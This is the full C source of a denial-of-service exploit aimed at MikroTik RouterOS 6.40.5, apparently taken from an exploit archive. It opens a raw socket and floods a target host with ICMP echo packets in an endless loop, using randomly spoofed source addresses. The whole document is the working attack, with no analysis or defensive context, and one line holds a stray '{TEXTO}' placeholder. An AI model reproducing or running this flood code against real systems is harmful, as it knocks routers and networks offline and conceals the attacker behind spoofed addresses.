MikroTik 6.40.5 ICMP - Denial of Service

#include <stdio.h>
#include <stdlib.h>
#include <netinet/ip_icmp.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <netdb.h>
#include <string.h>
#include <netinet/ip.h>
#define handle(i) htons(i)
#define cicmp 32
#define aicmp() (a_flags & cicmp)
#define sending_p() if (sendto(rawsock,&packet,(sizeof packet),0,(struct sockaddr *)&victim,sizeof victim) < 0) {\
perror("sendto");\
exit(-1);\
}
struct sockaddr_in victim;
u_long change(const char *host);
static void inject_iphdr(struct ip *ip, u_char p, u_char len);
char *class2ip(const char *class);
static void send_icmp(u_char garbage);
char *get_plain(const char *crypt_file, const char *xor_data_key);
static void usage(const char *argv0);
u_long dstaddr;
u_short dst_sp, dst_ep, src_sp, src_ep;
char *src_class, *dst_class;
int a_flags, rawsock;
struct {
int a;
int b;
void (*f)(u_char);
} a_list[] = {
{ cicmp, ICMP_ECHO, send_icmp },
{ 0, 0, (void *)NULL },
};
int
main(int argc, char *argv[])
{
int n, i, on = 1;
int b_link;
#ifdef F_PASS
struct stat sb;
#endif
unsigned int until;
a_flags = dstaddr = i = 0;
dst_sp = dst_ep = src_sp = src_ep = 0;
until = b_link = -1;
src_class = dst_class = NULL;
while ( (n = getopt(argc, argv, "Is:h:")) != -1) {
char *p;
switch (n) {
case 'I':
a_flags |= cicmp;
break;
case 'h':
dstaddr = change(optarg);
break;
default:
usage(argv[0]);
break;
}
}
if ( (!dstaddr && !i) ||
(dstaddr && i) ||
( !aicmp()) ||
(src_sp != 0 && src_sp > src_ep) ||
(dst_sp != 0 && dst_sp > dst_ep))
usage(argv[0]);
if ( (rawsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) {
perror("socket");
exit(-1);
}
for (n = 0; ; ) {
if (b_link != -1 && random() % 100 +1 > b_link) {
if (random() % 200 +1 > 199)
usleep(1);
continue;
}
for (i = 0; a_list[i].f != NULL; ++i) {
if (a_list[i].a & a_flags)
a_list[i].f(a_list[i].b);
}
if (n++ == 100) {
n = 0;
}
}
exit(0);
}
u_long change(const char *host)
{
struct hostent *hp;

if ( (hp = gethostbyname(host)) == NULL) {
perror("gethostbyname");
exit(-1);
}
return *(u_long *)hp->h_addr;
}
#define RANDOM() (int) random() % 255 +1
char *
class2ip(const char *class)
{
static char ip[16];
int i, j;

for (i = 0, j = 0; class[i] != '{TEXTO}'; ++i)
if (class[i] == '.')
++j;
switch (j) {
case 0:
sprintf(ip, "%s.%d.%d.%d", class, RANDOM(), RANDOM(), RANDOM());
break;
case 1:
sprintf(ip, "%s.%d.%d", class, RANDOM(), RANDOM());
break;
case 2:
sprintf(ip, "%s.%d", class, RANDOM());
break;
default: strncpy(ip, class, 16);
break;
}
return ip;
}
static void
inject_iphdr(struct ip *ip, u_char p, u_char len)
{
ip->ip_hl = 5;
ip->ip_v = 4;
ip->ip_p = p;
ip->ip_tos = 0; 
ip->ip_id = random();
ip->ip_len = len;
ip->ip_off = 0;
ip->ip_ttl = 255;
ip->ip_dst.s_addr = dst_class != NULL ?
inet_addr(class2ip(dst_class)) :
dstaddr;
ip->ip_src.s_addr = src_class != NULL ?
inet_addr(class2ip(src_class)) :
random();
victim.sin_addr.s_addr = ip->ip_dst.s_addr;
}

static void
send_icmp(u_char gargabe)
{
struct packet {
struct ip ip;
struct icmp icmp;
} packet;
memset(&packet, 0, sizeof packet);
inject_iphdr(&packet.ip, IPPROTO_ICMP, handle(sizeof packet));
packet.icmp.icmp_type = ICMP_ECHO;
packet.icmp.icmp_code = 0;
packet.icmp.icmp_cksum = htons( ~(ICMP_ECHO << 8));
sending_p();
}
static void
usage(const char *argv0)
{
printf("-I -h IP\n");
exit(-1);
}